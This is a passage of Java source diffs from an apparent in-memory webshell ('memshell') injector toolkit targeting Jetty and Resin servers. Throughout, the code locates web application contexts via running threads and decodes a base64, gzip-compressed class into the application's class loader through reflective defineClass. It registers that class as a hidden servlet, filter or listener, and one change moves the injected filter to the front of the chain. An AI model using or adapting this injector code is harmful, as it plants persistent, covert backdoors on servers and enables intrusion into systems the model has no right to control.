Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -3,34 +3,66 @@ package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.EventListener;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* tested v7、v8、v9
*
* @author ReaJason * @author ReaJason
*/ */
public class JettyListenerInjector { public class JettyListenerInjector {
private static String msg = "";
private static boolean ok = false;
public JettyListenerInjector() { public JettyListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
List<Object> contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
Object listener = getShell(context); try {
inject(context, listener); msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
} }
} catch (Exception e) {
e.printStackTrace();
} }
} }
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -40,8 +72,8 @@ public class JettyListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
private List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -80,30 +112,21 @@ public class JettyListenerInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance(); return clazz.newInstance();
} }
}
public static void inject(Object context, Object listener) throws Exception { public void inject(Object context, Object listener) throws Exception {
if (isInjected(context, listener.getClass().getName())) {
System.out.println("listener is already injected");
return;
}
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
System.out.println("listener added successfully");
}
@SuppressWarnings("unchecked")
public static boolean isInjected(Object context, String className) throws Exception {
// jetty v8、 v9
Object object = invokeMethod(context, "getEventListeners"); Object object = invokeMethod(context, "getEventListeners");
Object[] eventListeners = new Object[0]; Object[] eventListeners = new Object[0];
if (object instanceof List) { if (object instanceof List) {
@@ -112,11 +135,16 @@ public class JettyListenerInjector {
eventListeners = (Object[]) object; eventListeners = (Object[]) object;
} }
for (Object eventListener : eventListeners) { for (Object eventListener : eventListeners) {
if (eventListener.getClass().getName().contains(className)) { if (eventListener.getClass().getName().contains(getClassName())) {
return true; return ;
} }
} }
return false; invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
}
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -165,7 +193,7 @@ public class JettyListenerInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
@@ -199,4 +227,19 @@ public class JettyListenerInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,8 +3,10 @@ package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -15,17 +17,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class JettyServletInjector { public class JettyServletInjector {
public JettyServletInjector() { private static String msg = "";
try { private static boolean ok = false;
List<Object> contexts = getContext();
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -39,6 +32,51 @@ public class JettyServletInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public JettyServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Class<?> getServletClass(ClassLoader classLoader) throws ClassNotFoundException { public Class<?> getServletClass(ClassLoader classLoader) throws ClassNotFoundException {
try { try {
return classLoader.loadClass("javax.servlet.Servlet"); return classLoader.loadClass("javax.servlet.Servlet");
@@ -47,8 +85,8 @@ public class JettyServletInjector {
} }
} }
private List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -87,32 +125,33 @@ public class JettyServletInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
public void inject(Object context, Object servlet) throws Exception { public void inject(Object context, Object servlet) throws Exception {
Object servletHandler = getFieldValue(context, "_servletHandler"); Object servletHandler = getFieldValue(context, "_servletHandler");
if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("servlet is already injected");
return; return;
} }
String[] classNames = new String[]{ String[] classNames = new String[]{
"org.eclipse.jetty.servlet.ServletHolder", "org.eclipse.jetty.servlet.ServletHolder",
"org.eclipse.jetty.ee8.servlet.ServletHolder", "org.eclipse.jetty.ee8.servlet.ServletHolder",
"org.eclipse.jetty.ee9.servlet.ServletHolder", "org.eclipse.jetty.ee9.servlet.ServletHolder",
"org.eclipse.jetty.ee10.servlet.ServletHolder", "org.eclipse.jetty.ee10.servlet.ServletHolder",
"org.eclipse.jetty.ee11.servlet.ServletHolder",
"org.mortbay.jetty.servlet.ServletHolder", "org.mortbay.jetty.servlet.ServletHolder",
}; };
@@ -137,9 +176,12 @@ public class JettyServletInjector {
invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder}); invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder});
invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()}); invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()});
System.out.println("servlet inject successful");
} }
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
@@ -186,7 +228,7 @@ public class JettyServletInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
@@ -220,4 +262,19 @@ public class JettyServletInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -42,7 +42,6 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
} }
} }
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
} }
@Override @Override
@@ -61,6 +60,7 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -77,12 +77,8 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -13,17 +14,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ResinFilterInjector { public class ResinFilterInjector {
public ResinFilterInjector() { private static String msg = "";
try { private static boolean ok = false;
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -37,11 +29,56 @@ public class ResinFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public ResinFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/** /**
* com.caucho.server.webapp.Application * com.caucho.server.webapp.Application
* /usr/local/resin3/lib/resin.jar * /usr/local/resin3/lib/resin.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
@@ -57,7 +94,7 @@ public class ResinFilterInjector {
contexts.add(webApp); contexts.add(webApp);
} }
} }
return Arrays.asList(contexts.toArray()); return contexts;
} }
public ClassLoader getWebAppClassLoader(Object context) throws Exception { public ClassLoader getWebAppClassLoader(Object context) throws Exception {
@@ -71,22 +108,26 @@ public class ResinFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
private void inject(Object context, Object filter) throws Exception { private void inject(Object context, Object filter) throws Exception {
if (isInjected(context)) { Map<String, Object> filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters");
System.out.println("filter already injected"); for (String key : filters.keySet()) {
if (key.contains(getClassName())) {
return; return;
} }
}
Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
Object filterMappingImpl = filterMappingClass.newInstance(); Object filterMappingImpl = filterMappingClass.newInstance();
invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -95,19 +136,17 @@ public class ResinFilterInjector {
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(urlPattern, "init", null, null); invokeMethod(urlPattern, "init", null, null);
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl}); invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
filterMappings.remove(filterMappingImpl);
filterMappings.add(0, filterMappingImpl);
invokeMethod(context, "clearCache", null, null); invokeMethod(context, "clearCache", null, null);
System.out.println("filter injected");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object context) throws Exception { public String toString() {
Map<String, Object> filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters"); return msg;
for (String key : filters.keySet()) {
if (key.contains(getClassName())) {
return true;
}
}
return false;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -155,12 +194,11 @@ public class ResinFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null; Method method = null;
while (clazz != null && method == null) { while (clazz != null && method == null) {
@@ -177,11 +215,22 @@ public class ResinFilterInjector {
if (method == null) { if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName); throw new NoSuchMethodException("Method not found: " + methodName);
} }
method.setAccessible(true); method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param); return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) { }
throw new RuntimeException("Error invoking method: " + methodName, e);
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
} }
} }
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.Arrays; import java.util.Arrays;
@@ -16,17 +17,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ResinListenerInjector { public class ResinListenerInjector {
public ResinListenerInjector() { private static String msg = "";
try { private static boolean ok = false;
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -36,7 +28,52 @@ public class ResinListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public List<Object> getContext() throws Exception { public ResinListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
@@ -52,7 +89,7 @@ public class ResinListenerInjector {
contexts.add(webApp); contexts.add(webApp);
} }
} }
return Arrays.asList(contexts.toArray()); return contexts;
} }
public ClassLoader getWebAppClassLoader(Object context) throws Exception { public ClassLoader getWebAppClassLoader(Object context) throws Exception {
@@ -66,29 +103,34 @@ public class ResinListenerInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
private void inject(Object context, Object listener) throws Exception { private void inject(Object context, Object listener) throws Exception {
List<Object> listeners = (List<Object>) getFieldValue(context, "_requestListeners"); List<Object> listeners = (List<Object>) getFieldValue(context, "_requestListeners");
for (Object o : listeners) { for (Object o : listeners) {
if (o.getClass().getName().contains(getClassName())) { if (o.getClass().getName().contains(getClassName())) {
System.out.println("listener already injected");
return; return;
} }
} }
invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true}); invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
// 清除缓存,否则某些 uri 无法连接 // 清除缓存,否则某些 uri 无法连接
invokeMethod(context, "clearCache", null, null); invokeMethod(context, "clearCache", null, null);
System.out.println("listener injected successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -136,12 +178,11 @@ public class ResinListenerInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null; Method method = null;
while (clazz != null && method == null) { while (clazz != null && method == null) {
@@ -158,11 +199,22 @@ public class ResinListenerInjector {
if (method == null) { if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName); throw new NoSuchMethodException("Method not found: " + methodName);
} }
method.setAccessible(true); method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param); return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) { }
throw new RuntimeException("Error invoking method: " + methodName, e);
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
} }
} }
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -14,17 +15,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ResinServletInjector { public class ResinServletInjector {
public ResinServletInjector() { private static String msg = "";
try { private static boolean ok = false;
List<Object> contexts = getContext();
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
}
